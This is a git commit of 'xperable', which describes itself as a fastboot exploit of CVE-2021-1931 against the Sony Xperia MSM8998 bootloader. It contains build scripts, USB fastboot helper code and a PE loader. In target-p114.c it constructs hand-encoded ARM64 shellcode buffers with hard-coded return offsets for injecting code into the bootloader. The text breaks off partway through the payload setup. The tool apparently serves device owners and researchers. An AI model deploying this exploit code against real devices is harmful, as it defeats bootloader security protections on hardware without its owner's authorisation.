Xperia ABL fastboot Exploit for Yoshino

CVE-2021-1931 based fastboot exploit for MSM8998 LA2_0_P_114 bootloader
This commit is contained in:
j4nn 2025-07-20 22:53:16 +01:00
commit 82b1f4156c
7 changed files with 2428 additions and 0 deletions

152
Makefile Normal file
View file

@ -0,0 +1,152 @@
# SPDX-License-Identifier: GPL-3.0-or-later
#
# Makefile for xperable - Xperia ABL fastboot Exploit of CVE-2021-1931
#
# Copyright (C) 2025 j4nn at xdaforums
#
CFLAGS := -D_GNU_SOURCE
ifneq ($(wildcard target-o77.c),)
DEFINES += TARGET_ABL_O77
TARGETS += target-o77.c
DEPENDS += LinuxLoader-o77.pe
endif
ifneq ($(wildcard target-p114.c),)
DEFINES += TARGET_ABL_P114
TARGETS += target-p114.c
DEPENDS += LinuxLoader-p114.pe boot/xfl-o77.mbn
endif
ifeq ($(CROSS_BUILD),)
CROSS_BUILD := native
XPERABLE ?= xperable
CC := gcc
CXX := g++
ifneq ($(wildcard libusb-static/libusb-1.0.a),)
LDFLAGS += -static -Llibusb-static
endif
else ifeq ($(CROSS_BUILD),mingw64)
XPERABLE := xperable.exe
CC := /usr/lib/mingw64-toolchain/bin/x86_64-w64-mingw32-gcc
CXX := /usr/lib/mingw64-toolchain/bin/x86_64-w64-mingw32-g++
PEPARSE_CMAKE_OPTS := -DCMAKE_SYSTEM_NAME=Windows \
-DCMAKE_C_COMPILER=$(CC) \
-DCMAKE_CXX_COMPILER=$(CXX) \
-DCMAKE_FIND_ROOT_PATH=/usr/lib/mingw64-toolchain \
-DCMAKE_FIND_ROOT_PATH_MODE_INCLUDE=ONLY
DEPENDS += libusb-mingw/MinGW64/static/libusb-1.0.a
CFLAGS += -Ilibusb-mingw/include
LDFLAGS += -Llibusb-mingw/MinGW64/static
else ifeq ($(CROSS_BUILD),aarch64)
XPERABLE := xperable.aarch64
CC := aarch64-unknown-linux-musl-gcc
CXX := aarch64-unknown-linux-musl-g++
PEPARSE_CMAKE_OPTS := -DCMAKE_SYSTEM_NAME=Linux \
-DCMAKE_C_COMPILER=$(CC) \
-DCMAKE_CXX_COMPILER=$(CXX) \
-DCMAKE_FIND_ROOT_PATH=/usr/aarch64-unknown-linux-musl \
-DCMAKE_FIND_ROOT_PATH_MODE_INCLUDE=ONLY
LDFLAGS += -static
else ifeq ($(CROSS_BUILD),x86_64)
XPERABLE ?= xperable
CC := x86_64-unknown-linux-musl-gcc
CXX := x86_64-unknown-linux-musl-g++
PEPARSE_CMAKE_OPTS := -DCMAKE_SYSTEM_NAME=Linux \
-DCMAKE_C_COMPILER=$(CC) \
-DCMAKE_CXX_COMPILER=$(CXX) \
-DCMAKE_FIND_ROOT_PATH=/usr/x86_64-unknown-linux-musl \
-DCMAKE_FIND_ROOT_PATH_MODE_INCLUDE=ONLY
LDFLAGS += -static
endif
PEPARSE_CMAKE_OPTS += -DCMAKE_BUILD_TYPE=Release \
-DDEFAULT_CXX_FLAGS=-Wno-deprecated-declarations \
-DCMAKE_COLOR_MAKEFILE=OFF -DCMAKE_MESSAGE_LOG_LEVEL=WARNING
LDFLAGS += -Lpe-parse/build-$(CROSS_BUILD)/pe-parser-library
all: $(XPERABLE)
boot/bootloader_X_BOOT_MSM8998_LA1_1_O_77_X-FLASH-ALL-C93B.sin:
@if [ ! -e 47.1.A.2.281 ]; then \
mkdir -p boot; \
echo -e "\nDownload one of the earliest stock firmwares like 47.1.A.2.281 and copy"; \
echo -e " $@\nfile into the boot subdirectory here.\n"; false; \
else unzip -q -n -d boot 47.1.A.2.281/boot.zip *-C93B.sin && chmod a-x boot/*.sin; fi
boot/bootloader_X_BOOT_MSM8998_LA2_0_P_114_X-FLASH-ALL-C93B.sin:
@if [ ! -e 47.2.A.11.228 ]; then \
mkdir -p boot; \
echo -e "\nDownload the latest stock firmware like 47.2.A.11.228 and copy"; \
echo -e " $@\nfile into the boot subdirectory here.\n"; false; \
else unzip -q -n -d boot 47.2.A.11.228/boot.zip *-C93B.sin; fi
%-$(CROSS_BUILD).o: %.c
$(CC) $(CFLAGS) -o $@ -c $<
xperable-$(CROSS_BUILD).o: xperable.c $(TARGETS) fbusb.h logging.h $(DEPENDS)
$(CC) $(addprefix -D, $(DEFINES)) $(CFLAGS) -o $@ -c $<
$(XPERABLE): xperable-$(CROSS_BUILD).o pe-load-$(CROSS_BUILD).o fbusb-$(CROSS_BUILD).o
$(CXX) $(CFLAGS) $(LDFLAGS) -o $@ -s $^ -lpe-parse -lusb-1.0
pe-load-$(CROSS_BUILD).o: pe-load.cpp pe-parse/build-$(CROSS_BUILD)/pe-parser-library/libpe-parse.a
$(CXX) $(CFLAGS) -o $@ -c $< -Ipe-parse/pe-parser-library/include
pe-parse/CMakeLists.txt:
if [ -d .git ]; then git submodule update --init; \
else wget https://github.com/trailofbits/pe-parse/archive/refs/heads/master.zip \
&& unzip -q master.zip && mv pe-parse-master pe-parse && rm -f master.zip ; \
fi
libusb-mingw/MinGW64/static/libusb-1.0.a:
mkdir -p libusb-mingw
wget -P libusb-mingw https://github.com/libusb/libusb/releases/download/v1.0.29/libusb-1.0.29.7z
7z -olibusb-mingw x libusb-mingw/libusb-1.0.29.7z MinGW64 include README.txt &>/dev/null \
|| [ -f libusb-mingw/MinGW64/static/libusb-1.0.a -a -f libusb-mingw/include/libusb.h ]
rm -f libusb-mingw/MinGW64/static/libusb-1.0.dll.a
mkdir -p libusb-mingw/include/libusb-1.0
mv libusb-mingw/include/libusb.h libusb-mingw/include/libusb-1.0
pe-parse/build-$(CROSS_BUILD)/pe-parser-library/libpe-parse.a: pe-parse/CMakeLists.txt
mkdir -p pe-parse/build-$(CROSS_BUILD)
(cd pe-parse/build-$(CROSS_BUILD); cmake -DBUILD_SHARED_LIBS=OFF $(PEPARSE_CMAKE_OPTS) .. && make -j4)
boot/xfl-o77.mbn: boot/bootloader_X_BOOT_MSM8998_LA1_1_O_77_X-FLASH-ALL-C93B.sin
mkdir -p boot/bootloader-o77
tar xf $< -C boot/bootloader-o77
tar xf boot/bootloader-o77/bootloader.000 -C boot/bootloader-o77
echo '41867a4f9becf0587ebc7f18aad85d70133c183c11762a93133f3ce7e29ec6b9 *boot/bootloader-o77/xfl_X_BOOT_MSM8998_LA1_1_O_77.mbn' | sha256sum -c \
|| echo 'c745a32721d68bb7499a0e929bd9bcfec307cb922d0c17c22f064a51e6e1a7c7 *boot/bootloader-o77/xfl_X_BOOT_MSM8998_LA1_1_O_77.mbn' | sha256sum -c
cp boot/bootloader-o77/xfl_X_BOOT_MSM8998_LA1_1_O_77.mbn $@
LinuxLoader-o77.pe: boot/xfl-o77.mbn
uefi-firmware-parser -b -e -q -o boot/bootloader-o77/abl boot/bootloader-o77/abl_X_BOOT_MSM8998_LA1_1_O_77.mbn &>/dev/null
cp -p `find boot/bootloader-o77/abl -name section1.pe` $@
LinuxLoader-p114.pe: boot/bootloader_X_BOOT_MSM8998_LA2_0_P_114_X-FLASH-ALL-C93B.sin
mkdir -p boot/bootloader-p114
tar xf $< -C boot/bootloader-p114
tar xf boot/bootloader-p114/bootloader.000 -C boot/bootloader-p114
uefi-firmware-parser -b -e -q -o boot/bootloader-p114/abl boot/bootloader-p114/abl_X_BOOT_MSM8998_LA2_0_P_114.mbn &>/dev/null
cp -p `find boot/bootloader-p114/abl -name section1.pe` $@
clean:
rm -rf *-$(CROSS_BUILD).o pe-parse/build-$(CROSS_BUILD)
rm -rf boot/bootloader-o77 boot/bootloader-p114
distclean: clean
rm -rf pe-parse/build-*
rm -f *.o
rm -f xperable xperable.native xperable.x86_64 xperable.exe xperable.aarch64
rm -f LinuxLoader-o77.pe LinuxLoader-p114.pe boot/xfl-o77.mbn
fullclean: distclean
rm -rf pe-parse
rm -rf libusb-mingw
rm -rf boot

307
fbusb.c Normal file
View file

@ -0,0 +1,307 @@
// SPDX-License-Identifier: GPL-3.0-or-later
/*
* fbusb.c - helper functions for fastboot usb protocol
*
* Copyright (C) 2025 j4nn at xdaforums
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <string.h>
#include <ctype.h>
#include <libusb-1.0/libusb.h>
#include "fbusb.h"
#include "logging.h"
static int verbosity = LOG_ERR;
static const char *fastboot_results[] = {
[FASTBOOT_OKAY] = "OKAY",
[FASTBOOT_FAIL] = "FAIL",
[FASTBOOT_DATA] = "DATA",
[FASTBOOT_INFO] = "INFO",
[FASTBOOT_UNKNOWN] = "UNKN",
};
struct fbusb {
libusb_device_handle *h;
int iface;
int epi;
int epo;
int maxsize;
int timeout;
};
int fastboot_parse_result(const char *status)
{
int i;
for (i = 0; i < FASTBOOT_UNKNOWN; i++)
if (strncmp(status, fastboot_results[i], 4) == 0)
return i;
return i;
}
struct fbusb *fbusb_init(int vid, int pid, int iface, int epi, int epo)
{
int res;
struct fbusb *dev;
libusb_device_handle *h;
res = libusb_init(NULL);
if (res < 0) {
PERR("libusb_init failed: %s\n", libusb_strerror(res));
return NULL;
}
h = libusb_open_device_with_vid_pid(NULL, vid, pid);
if (h == NULL) {
PERR("libusb_open_device_with_vid_pid (%04x:%04x) failed\n",
vid, pid);
goto err_exit1;
}
if (libusb_kernel_driver_active(h, 0) == 1) {
if (libusb_detach_kernel_driver(h, 0) != 0) {
PERR("libusb_detach_kernel_driver failed\n");
goto err_exit2;
}
}
res = libusb_claim_interface(h, iface);
if (res < 0) {
PERR("libusb_claim_interface failed: %s\n", libusb_strerror(res));
goto err_exit2;
}
dev = calloc(1, sizeof(struct fbusb));
if (dev != NULL) {
dev->h = h;
dev->iface = iface;
dev->epi = epi;
dev->epo = epo;
dev->maxsize = 16 * 1024 * 1024;
dev->timeout = 5000;
return dev;
}
libusb_release_interface(h, iface);
err_exit2:
libusb_close(h);
err_exit1:
libusb_exit(NULL);
return NULL;
}
void fbusb_exit(struct fbusb *dev)
{
libusb_release_interface(dev->h, dev->iface);
libusb_close(dev->h);
libusb_exit(NULL);
free(dev);
}
void fbusb_set_maxsize(struct fbusb *dev, int maxsize)
{
dev->maxsize = maxsize;
}
void fbusb_set_timeout(struct fbusb *dev, int timeout_ms)
{
dev->timeout = timeout_ms;
}
void fbusb_inc_verbosity(struct fbusb *dev)
{
if (verbosity < LOG_DBG)
verbosity++;
}
void fbusb_dec_verbosity(struct fbusb *dev)
{
if (verbosity > 0)
verbosity--;
}
static void fbusb_log(struct fbusb *dev, int ep, void *buff, int len, int done,
int res)
{
int i;
const char *dir;
const char *status;
const unsigned char *ptr = buff;
dir = (ep & 0x80) ? "<-" : "->";
switch (res) {
case LIBUSB_SUCCESS: status = "OK"; break;
case LIBUSB_ERROR_IO: status = "IO"; break;
case LIBUSB_ERROR_INVALID_PARAM: status = "IP"; break;
case LIBUSB_ERROR_ACCESS: status = "AC"; break;
case LIBUSB_ERROR_NO_DEVICE: status = "ND"; break;
case LIBUSB_ERROR_NOT_FOUND: status = "NF"; break;
case LIBUSB_ERROR_BUSY: status = "BS"; break;
case LIBUSB_ERROR_TIMEOUT: status = "TO"; break;
case LIBUSB_ERROR_OVERFLOW: status = "OF"; break;
case LIBUSB_ERROR_PIPE: status = "PI"; break;
case LIBUSB_ERROR_INTERRUPTED: status = "IN"; break;
case LIBUSB_ERROR_NO_MEM: status = "NM"; break;
case LIBUSB_ERROR_NOT_SUPPORTED: status = "NS"; break;
case LIBUSB_ERROR_OTHER: status = "OT"; break;
default: status = "??"; break;
}
PNFO_CONT(" {%08x%s%08x:%s}", len, dir, done, status);
if (verbosity >= LOG_DBG) {
for (i = 0; i < 16; i++)
if (i < done)
PDBG_CONT(" %02x", ptr[i]);
else
PDBG_CONT(" ");
}
PNFO_CONT(" \"");
for (i = 0; i < 64 && i < done; i++)
PNFO_CONT("%c", isprint(ptr[i]) ? ptr[i] : '.');
PNFO_CONT("\"\n");
}
static int fbusb_transfer(struct fbusb *dev, void *buff, int size, int ep)
{
int res, idx;
int len, done;
int transferred = 0;
for (idx = 0; idx < size; idx += done) {
len = size - idx;
if (dev->maxsize > 0) {
if (len > dev->maxsize)
len = dev->maxsize;
}
done = 0;
res = libusb_bulk_transfer(dev->h, ep, buff + idx, len, &done,
dev->timeout);
transferred += done;
fbusb_log(dev, ep, buff + idx, len, done, res);
if (res != 0 && transferred == 0) {
PERR("libusb_bulk_transfer failed: %s ep=0x%02x "
"len=0x%04x size=0x%04x\n",
libusb_strerror(res), ep, len, size);
return -1;
}
if (done < len)
break;
}
return transferred;
}
int fbusb_send(struct fbusb *dev, void *buff, int size)
{
return fbusb_transfer(dev, buff, size, dev->epo);
}
int fbusb_recv(struct fbusb *dev, void *buff, int size)
{
return fbusb_transfer(dev, buff, size, dev->epi);
}
int fbusb_bufcmd_resp(struct fbusb *dev, void *rsp, int *rspsz)
{
int res;
int received;
char *s = rsp;
if (rspsz == NULL || *rspsz < 4)
return -1;
memset(rsp, 0, *rspsz);
received = fbusb_recv(dev, rsp, *rspsz);
if (received >= 4) {
res = fastboot_parse_result(rsp);
if (res < FASTBOOT_UNKNOWN) {
received -= 4;
memmove(rsp, rsp + 4, received);
memset(s + received, 0, 4);
*rspsz = received;
return res;
}
PDBG("fbusb_bufcmd_resp recv unknown fastboot response: "
"'%c%c%c%c' (rspsz=0x%04x received=0x%04x)\n",
s[0], s[1], s[2], s[3], *rspsz, received);
*rspsz = received;
return FASTBOOT_UNKNOWN;
}
if (received < 0) {
PERR("fbusb_bufcmd_resp recv failed (rspsz=0x%04x)\n", *rspsz);
*rspsz = 0;
return received;
}
PERR("fbusb_bufcmd_resp recv invalid fastboot response: "
"received=0x%04x (rspsz=0x%04x)\n", received, *rspsz);
*rspsz = received;
return FASTBOOT_UNKNOWN;
}
int fbusb_bufcmd(struct fbusb *dev, void *req, int reqsz, void *rsp, int *rspsz)
{
int res = fbusb_send(dev, req, reqsz);
if (res != reqsz) {
*rspsz = 0;
if (res > 0) {
PERR("fbusb_bufcmd send incomplete: "
"reqsz=0x%02x res=0x%04x\n", reqsz, res);
return -1;
}
PERR("fbusb_bufcmd send failed: reqsz=0x%02x res=0x%04x\n", reqsz, res);
return -1;
}
return fbusb_bufcmd_resp(dev, rsp, rspsz);
}
int fbusb_bufrcv(struct fbusb *dev, void *rcv, int rcvsz, void *rsp, int *rspsz)
{
int res = fbusb_recv(dev, rcv, rcvsz);
if (res != rcvsz) {
*rspsz = 0;
if (res > 0) {
PDBG("fbusb_bufrcv recv incomplete: rcvsz=0x%02x res=0x%04x\n",
rcvsz, res);
return -1;
}
PERR("fbusb_bufrcv recv failed: rcvsz=0x%02x res=0x%04x\n", rcvsz, res);
return -1;
}
return fbusb_bufcmd_resp(dev, rsp, rspsz);
}
int fbusb_strcmd(struct fbusb *dev, const char *req, char *rsp, int rspmaxsize)
{
int res;
int rspsz = rspmaxsize - 1;
if (rspsz < 4)
return -1;
res = fbusb_bufcmd(dev, (void *)req, strlen(req), rsp, &rspsz);
if (res >= 0)
if (rspsz >= 0 && rspsz < rspmaxsize)
rsp[rspsz] = '\0';
return res;
}
int fbusb_strcmd_resp(struct fbusb *dev, char *rsp, int rspmaxsize)
{
int res;
int rspsz = rspmaxsize - 1;
if (rspsz < 4)
return -1;
res = fbusb_bufcmd_resp(dev, rsp, &rspsz);
if (res >= 0)
if (rspsz >= 0 && rspsz < rspmaxsize)
rsp[rspsz] = '\0';
return res;
}

38
fbusb.h Normal file
View file

@ -0,0 +1,38 @@
// SPDX-License-Identifier: GPL-3.0-or-later
/*
* fbusb.h - helper functions for fastboot usb protocol
*
* Copyright (C) 2025 j4nn at xdaforums
*/
#ifndef FBUSB_H
#define FBUSB_H
struct fbusb;
struct fbusb *fbusb_init(int vid, int pid, int iface, int ep_in, int ep_out);
void fbusb_exit(struct fbusb *dev);
void fbusb_set_maxsize(struct fbusb *dev, int maxsize);
void fbusb_set_timeout(struct fbusb *dev, int timeout_ms);
void fbusb_inc_verbosity(struct fbusb *dev);
void fbusb_dec_verbosity(struct fbusb *dev);
int fbusb_send(struct fbusb *dev, void *buff, int size);
int fbusb_recv(struct fbusb *dev, void *buff, int size);
enum {
FASTBOOT_OKAY,
FASTBOOT_FAIL,
FASTBOOT_DATA,
FASTBOOT_INFO,
FASTBOOT_UNKNOWN
};
int fbusb_bufcmd(struct fbusb *dev, void *req, int reqsz, void *rsp, int *rspsz);
int fbusb_bufrcv(struct fbusb *dev, void *rcv, int rcvsz, void *rsp, int *rspsz);
int fbusb_bufcmd_resp(struct fbusb *dev, void *rsp, int *rspsz);
int fbusb_strcmd(struct fbusb *dev, const char *req, char *rsp, int rspmaxsize);
int fbusb_strcmd_resp(struct fbusb *dev, char *rsp, int rspmaxsize);
#endif

48
logging.h Normal file
View file

@ -0,0 +1,48 @@
// SPDX-License-Identifier: GPL-3.0-or-later
/*
* logging.h - macros for debug and errors logging
*
* Copyright (C) 2025 j4nn at xdaforums
*/
#ifndef _LOGGING_H_
#define _LOGGING_H_
#include <errno.h>
#include <stdio.h>
#include <string.h>
enum {
LOG_ERR = 1,
LOG_NFO,
LOG_DBG,
};
#define eprintf(lev, fmt, args...) \
do { \
if (verbosity >= lev) \
fprintf(stderr, fmt, ##args); \
} while(0)
#define oprintf(lev, fmt, args...) \
do { \
if (verbosity >= lev) \
fprintf(stdout, fmt, ##args); \
} while(0)
#define PERR(fmt, args...) eprintf(LOG_ERR, "[!] " fmt, ##args)
#define PNFO(fmt, args...) eprintf(LOG_NFO, "[+] " fmt, ##args)
#define PDBG(fmt, args...) eprintf(LOG_DBG, "[.] " fmt, ##args)
#define PERR_CONT(fmt, args...) eprintf(LOG_ERR, fmt, ##args)
#define PNFO_CONT(fmt, args...) eprintf(LOG_NFO, fmt, ##args)
#define PDBG_CONT(fmt, args...) eprintf(LOG_DBG, fmt, ##args)
#define PRNO(fmt, args...) \
do { \
PERR(fmt ": %s\n", ##args, strerror(errno)); \
} while(0)
#define POUT(fmt, args...) oprintf(LOG_NFO, fmt, ##args)
#endif

162
pe-load.cpp Normal file
View file

@ -0,0 +1,162 @@
/*
The MIT License (MIT)
Copyright (c) 2013 Andrew Ruef
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>
#include <cstring>
#include <iomanip>
#include <ios>
#include <iostream>
#include <sstream>
#include <pe-parse/parse.h>
#include "logging.h"
extern int verbosity;
using namespace peparse;
static VA image_base;
static uint8_t *image_buff;
static int fix_relocs(void *N, const VA &relocAddr, const reloc_type &type)
{
uint64_t *ptr;
uint64_t newbase = reinterpret_cast<uint64_t>(N);
if (type == RELOC_ABSOLUTE)
return 0;
#if 0
std::cout << "TYPE: ";
switch (type) {
case RELOC_ABSOLUTE:
std::cout << "ABSOLUTE";
break;
case RELOC_HIGH:
std::cout << "HIGH";
break;
case RELOC_LOW:
std::cout << "LOW";
break;
case RELOC_HIGHLOW:
std::cout << "HIGHLOW";
break;
case RELOC_HIGHADJ:
std::cout << "HIGHADJ";
break;
case RELOC_MIPS_JMPADDR:
std::cout << "MIPS_JMPADDR";
break;
case RELOC_MIPS_JMPADDR16:
std::cout << "MIPS_JMPADD16";
break;
case RELOC_DIR64:
std::cout << "DIR64";
break;
default:
std::cout << "UNKNOWN";
break;
}
#endif
ptr = reinterpret_cast<uint64_t *>(&image_buff[relocAddr - image_base]);
// std::cout << " VA: 0x" << std::hex << relocAddr << " [0x" << std::hex << *ptr;
*ptr += newbase;
// std::cout << " -> 0x" << std::hex << *ptr << "]\n";
return 0;
}
static int find_code_boundary(void *N,
const VA &secBase,
const std::string &secName,
const image_section_header &s,
const bounded_buffer *data)
{
static_cast<void>(s);
int *code_boundary = static_cast <int *>(N);
if (secName == ".text" && data != NULL) {
*code_boundary = (int)secBase + data->bufLen;
}
return 0;
}
extern "C"
int load_pe(const char *fname, void *buff, int maxsize, uint64_t base_va,
int *code_boundary)
{
int i;
int fd;
int res;
fd = open(fname, O_RDONLY);
if (fd < 0) {
PRNO("open pe %s file", fname);
return -1;
}
res = read(fd, buff, maxsize);
if (res < 0) {
PRNO("read pe %s file", fname);
return -1;
}
close(fd);
parsed_pe *p = ParsePEFromFile(fname);
if (p == nullptr) {
PERR("load_pe of %s failed: %s\n", fname, GetPEErrString().c_str());
return -1;
}
VA va = p->peHeader.nt.OptionalHeader64.ImageBase;
VA va_end = va + p->peHeader.nt.OptionalHeader64.SizeOfImage;
image_base = va;
image_buff = (uint8_t *)buff;
for (i = 0; va < va_end; va++, i++)
ReadByteAtVA(p, va, image_buff[i]);
IterRelocs(p, fix_relocs, (void *)base_va);
if (code_boundary != NULL) {
*code_boundary = 0;
IterSec(p, find_code_boundary, code_boundary);
PDBG("Code boundary of %s is 0x%08x\n", fname, *code_boundary);
}
res = p->peHeader.nt.OptionalHeader64.SizeOfImage;
DestructParsedPE(p);
return res;
}

451
target-p114.c Normal file
View file

@ -0,0 +1,451 @@
// SPDX-License-Identifier: GPL-3.0-or-later
/*
* target-p114.c - yoshino X_Boot_MSM8998_LA2.0_P_114 bootloader target specifics
*
* Copyright (C) 2025 j4nn at xdaforums
*/
static const int p114_offset = 0x30;
static const int p114_size = 0xf3f880;
static const int64_t p114_test3_hitadj = -0x97ffedb3LL + 0x28E64LL - 4LL;
static const int p114_stage1_cont = 0x28DC8;
static const char p114_test4_cmd[] = "flash:fb";
static void p114_setup_test2(unsigned char *buff, int size, int offset)
{
int i;
memset(buff, 0, size);
for (i = (offset % 0x80); i < size; i += 0x80) {
OPCODE(buff + i + 0x00, 0x01, 0x00, 0x00, 0x94); // bl #0x04 = [ 01 00 00 94 ]
OPCODE(buff + i + 0x04, 0xe2, 0xff, 0xff, 0x10); // adr x2, #-0x04 = [ e2 ff ff 10 ]
OPCODE(buff + i + 0x08, 0xc2, 0x03, 0x02, 0xcb); // sub x2, lr, x2 = [ c2 03 02 cb ]
OPCODE(buff + i + 0x0c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ]
OPCODE(buff + i + 0x10, 0xfd, 0xff, 0xff, 0x97); // bl #-0x0c = [ fd ff ff 97 ]
OPCODE(buff + i + 0x14, 0xe0, 0xff, 0xb2, 0xd2); // movz x0, #0x97ff, lsl #16 = [ e0 ff b2 d2 ] code "B3 ED FF 97" is a call to return
OPCODE(buff + i + 0x18, 0x60, 0xb6, 0x9d, 0xf2); // movk x0, #0xedb3 = [ 60 b6 9d f2 ] fastboot FAIL response - search for it
OPCODE(buff + i + 0x1c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ]
OPCODE(buff + i + 0x20, 0xf9, 0xff, 0xff, 0x97); // bl #-0x1c = [ f9 ff ff 97 ]
OPCODE(buff + i + 0x24, 0xfe, 0xff, 0xff, 0xf0); // adrp lr, #-0x1000 = [ fe ff ff f0 ]
OPCODE(buff + i + 0x28, 0xc1, 0x47, 0x40, 0xb8); // ldr w1, [lr], #4 = [ c1 47 40 b8 ]
OPCODE(buff + i + 0x2c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ]
OPCODE(buff + i + 0x30, 0xf5, 0xff, 0xff, 0x97); // bl #-0x2c = [ f5 ff ff 97 ]
OPCODE(buff + i + 0x34, 0x3f, 0x00, 0x00, 0x6b); // cmp w1, w0 = [ 3f 00 00 6b ]
OPCODE(buff + i + 0x38, 0x81, 0xff, 0xff, 0x54); // b.ne #-0x10 = [ 81 ff ff 54 ] lr = 0x28E68, i.e. addr of code after
OPCODE(buff + i + 0x3c, 0x06, 0x00, 0x00, 0x14); // b #0x18 = [ 06 00 00 14 ] the call to return fb FAIL response
OPCODE(buff + i + 0x40, 0xf1, 0xff, 0xff, 0x97); // bl #-0x3c = [ f1 ff ff 97 ]
snprintf(buff + i + 0x44, 5+7, "vxyz%06x-", i); // "f3ce40-e40-" "vxyzf3ce40-"
OPCODE(buff + i + 0x50, 0xed, 0xff, 0xff, 0x97); // bl #-0x4c = [ ed ff ff 97 ]
OPCODE(buff + i + 0x54, 0xa0, 0xff, 0xff, 0x10); // adr x0, #-0x0c = [ a0 ff ff 10 ]
OPCODE(buff + i + 0x58, 0x61, 0xff, 0xff, 0x10); // adr x1, #-0x14 = [ 61 ff ff 10 ]
OPCODE(buff + i + 0x5c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ]
OPCODE(buff + i + 0x60, 0xe9, 0xff, 0xff, 0x97); // bl #-0x5c = [ e9 ff ff 97 ]
OPCODE(buff + i + 0x64, 0x42, 0xfc, 0x44, 0xd3); // lsr x2, x2, #4 = [ 42 fc 44 d3 ]
OPCODE(buff + i + 0x68, 0x21, 0x00, 0x02, 0x8b); // add x1, x1, x2 = [ 21 00 02 8b ]
OPCODE(buff + i + 0x6c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ]
OPCODE(buff + i + 0x70, 0xe5, 0xff, 0xff, 0x97); // bl #-0x6c = [ e5 ff ff 97 ]
OPCODE(buff + i + 0x74, 0x14, 0x1e, 0x89, 0xd2); // movz x20, #0x48f0 = [ 14 1e 89 d2 ]
OPCODE(buff + i + 0x78, 0xd4, 0x03, 0x14, 0xcb); // sub x20, lr, x20 = [ d4 03 14 cb ] x20 points to code to return our fb
OPCODE(buff + i + 0x7c, 0x80, 0x02, 0x1f, 0xd6); // br x20 = [ 80 02 1f d6 ] response - link back to 0x28E68
}
}
static void p114_setup_test3(unsigned char *buff, int size, int offset)
{
int i, j;
memset(buff, 0, size);
for (i = offset; i < size; i += 0x80) {
for (j = 0; j < 0x4c; j += 4)
OPCODE(buff + i + j, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ]
OPCODE(buff + i + 0x4c, 0xe2, 0xff, 0xb2, 0xd2); // movz x2, #0x97ff, lsl #16 = [ e2 ff b2 d2 ] code "B3 ED FF 97" is a call to return
OPCODE(buff + i + 0x50, 0x62, 0xb6, 0x9d, 0xf2); // movk x2, #0xedb3 = [ 62 b6 9d f2 ] fastboot FAIL response - search for it
OPCODE(buff + i + 0x54, 0x63, 0xfd, 0xff, 0x10); // adr x3, #-0x54 = [ 63 fd ff 10 ]
OPCODE(buff + i + 0x58, 0x61, 0x7c, 0x40, 0xb9); // ldr w1, [x3, #0x7c] = [ 61 7c 40 b9 ] offset of current block vs offs string
OPCODE(buff + i + 0x5c, 0x60, 0x00, 0x01, 0xcb); // sub x0, x3, x1 = [ 60 00 01 cb ] addr of our resp. str. in usb buff
OPCODE(buff + i + 0x60, 0x61, 0x4c, 0x40, 0xb8); // ldr w1, [x3, #0x04]! = [ 61 4c 40 b8 ]
OPCODE(buff + i + 0x64, 0x3f, 0x00, 0x02, 0x6b); // cmp w1, w2 = [ 3f 00 02 6b ]
OPCODE(buff + i + 0x68, 0xc1, 0xff, 0xff, 0x54); // b.ne #-0x08 = [ c1 ff ff 54 ] x3 = call to return fb FAIL (0x28E64)
OPCODE(buff + i + 0x6c, 0xc1, 0x03, 0x03, 0xcb); // sub x1, lr, x3 = [ c1 03 03 cb ]
OPCODE(buff + i + 0x70, 0x21, 0x00, 0x02, 0x8b); // add x1, x1, x2 = [ 21 00 02 8b ]
OPCODE(buff + i + 0x74, 0x01, 0x70, 0x00, 0xf8); // str x1, [x0, #0x07] = [ 01 70 00 f8 ]
OPCODE(buff + i + 0x78, 0x60, 0x00, 0x1f, 0xd6); // br x3 = [ 60 00 1f d6 ] jump back to 0x28E64
*(uint32_t *)(buff + i + 0x7c) = i - (i / 0x80 * 16);
snprintf(buff + (i / 0x80 * 16), 8, "%06x:", i);
}
}
static void p114_setup_test4(unsigned char *buff, int size, int offset, int payloadsize)
{
int i;
memset(buff, 0, 0x80);
for (i = (offset % 0x80); i < size; i += 0x80) {
OPCODE(buff + i + 0x00, 0x0a, 0x00, 0x00, 0x10); // adr x10, #0x00 = [ 0a 00 00 10 ] x10 == buff
OPCODE(buff + i + 0x04, 0x40, 0x75, 0x40, 0xb9); // ldr w0, [x10, #0x74] = [ 40 75 40 b9 ] w14 == offset of exploit_continue, w0 == LinuxLoader code size
OPCODE(buff + i + 0x08, 0x4e, 0x35, 0x4f, 0x29); // ldp w14, w13, [x10, #0x78] = [ 4e 35 4f 29 ] w13 == offset of fastboot_download_512MB_buffer_ptr
OPCODE(buff + i + 0x0c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ]
OPCODE(buff + i + 0x10, 0xfc, 0xff, 0xff, 0x17); // b #-0x10 = [ fc ff ff 17 ]
OPCODE(buff + i + 0x14, 0x7f, 0x00, 0x00, 0xeb); // cmp x3, x0 = [ 7f 00 00 eb ] check if called from alternate code path with size in x3
OPCODE(buff + i + 0x18, 0x61, 0x00, 0x00, 0x54); // b.ne #0x0c = [ 61 00 00 54 ] if not.eq it is the first call of this code
